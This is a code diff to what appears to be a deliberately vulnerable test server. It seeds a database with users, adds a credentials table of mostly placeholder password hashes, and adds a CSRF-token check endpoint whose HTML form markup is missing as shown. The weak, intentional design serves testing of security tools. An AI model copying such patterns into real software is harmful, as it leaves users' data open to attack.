+ INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport');
+ INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth');
+ INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup');
+ INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum');
+ INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich');
+ INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling');
+ INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum');
+ INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto');
+ INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman');
+ INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson');
+ INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr');
+ INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller');
+ INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward');
+
+ CREATE TABLE creds (
+ user_id INTEGER,
+ password_hash TEXT,
+ FOREIGN KEY (user_id) REFERENCES users(id)
+ );
+ INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0');
+ INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729');
+ INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275');
+ INSERT INTO creds (user_id, password_hash) VALUES (4, NULL);
+ INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81');
+ INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0');
+ INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90');
+ INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809');
+ INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0');
+ INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5');
+ INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf');
+ INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f');
+ INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211');
+ INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef');
+ INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890');
+ INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051');
+ INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a');
+ INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567');
+ INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98');
+ INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0');
+ INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf');
+ INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef');
+ INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe');
+ INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f');
+ INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190');
+ INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1');
+ INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d');
+ INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e');
"""
LISTEN_ADDRESS = "localhost"
@@ -62,11 +125,15 @@ _cursor = None
_lock = None
_server = None
_alive = False
+_csrf_token = None
def init(quiet=False):
global _conn
global _cursor
global _lock
+ global _csrf_token
+
+ _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20))
_conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
_cursor = _conn.cursor()
@@ -131,6 +198,28 @@ class ReqHandler(BaseHTTPRequestHandler):
self.url, self.params = path, params
+ if self.url == "/csrf":
+ if self.params.get("csrf_token") == _csrf_token:
+ self.url = "/"
+ else:
+ self.send_response(OK)
+ self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+ self.end_headers()
+
+ form = (
+ ""
+ "CSRF protection check "
+ ""
+ ""
+ ) % _csrf_token
+
+ self.wfile.write(form.encode(UNICODE_ENCODING))
+ return
+
if self.url == '/':
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)
@@ -139,7 +228,7 @@ class ReqHandler(BaseHTTPRequestHandler):
self.end_headers()
self.wfile.write(b"vulnserver